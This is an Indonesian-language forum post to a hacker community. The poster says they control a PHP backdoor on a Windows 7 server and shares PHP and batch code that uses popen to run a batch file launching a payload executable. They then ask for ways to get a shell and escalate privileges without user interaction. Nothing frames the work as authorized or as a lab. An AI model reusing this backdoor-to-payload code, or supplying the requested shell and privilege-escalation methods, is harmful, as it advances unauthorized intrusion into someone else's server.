Halo, salam kenal semuanya kawan-kawan Surabaya Hacker Link 😀
Izin cerita sedikit, Sebelumnya saya sudah berusaha mencoba beberapa metode berikut ini:
Saya mencoba membuat file php yang berfungsi untuk meng-eksekusi batch script dan mengeluarkan outputnya dalam bentuk file.txt. File batch tersebut berhasil di eksekusi dan menghasilkan file.txt.
Akan tetapi, setelah saya ubah batch script untuk meng-eksekusi file .exe, sepertinya tidak berhasil.
Berikut adalah beberapa baris kodenya:
file putty.php
<?php
$c='start /b C:\xampp\htdocs\putty.bat';
$r=pclose(popen($c, 'r'));
return json_encode(array('result'=>$r));
?>
file putty.bat
start /b C:\xampp\htdocs\puttyX.exe
@echo off
@echo Payload Berhasil di Eksekusi!> C:\xampp\htdocs\putty.txt
exit
Saya juga sudah berhasil untuk mengakses PHP backdoor, tujuan saya adalah mendapatkan shell dari windows servernya (win 7 6.1 7601 x86) dan melakukan local privilege escalation.
Lalu, Bagaimanakan cara mendapatkan shell dari windows server, tanpa memerlukan interaksi user untuk meng-eksekusi payload.exe yang sudah saya buat? dengan metode apapun? Mohon bantuannya, Terimakasih SHL.
